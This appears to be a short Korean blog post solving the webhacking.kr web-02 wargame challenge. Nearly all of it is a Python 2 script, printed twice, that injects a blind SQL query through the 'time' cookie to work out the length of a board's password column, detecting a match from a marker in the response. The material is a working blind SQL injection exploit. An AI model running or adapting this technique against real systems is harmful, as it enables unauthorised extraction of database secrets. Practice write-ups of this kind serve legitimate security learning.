일단 게시판의 비밀번호 길이를 구해보자.
import urllib2
import re
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
cookie = 'time=1492865588 and (select length(password) from FreeB0aRd)='
for i in range(2, 15) :
print(i)
add = '%d; PHPSESSID=세션아이디입력' % i
real_cookie = cookie + add
request = urllib2.Request(url, None, {'Host': 'webhacking.kr', 'Cookie': real_cookie})
data = urllib2.urlopen(request).read()
find = re.findall("<!--2070-01-01 09:00:01-->",data)
if find:
print("pw : %d") % i
break
f = open("response.html","w")
f.write(str(data))
f.close()
import urllib2
import re
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
cookie = 'time=1492865588 and (select length(password) from FreeB0aRd)='
for i in range(2, 15) :
print(i)
add = '%d; PHPSESSID=세션아이디입력' % i
real_cookie = cookie + add
request = urllib2.Request(url, None, {'Host': 'webhacking.kr', 'Cookie': real_cookie})
data = urllib2.urlopen(request).read()
find = re.findall("<!--2070-01-01 09:00:01-->",data)
if find:
print("pw : %d") % i
break
f = open("response.html","w")
f.write(str(data))
f.close()
댓글 없음:
댓글 쓰기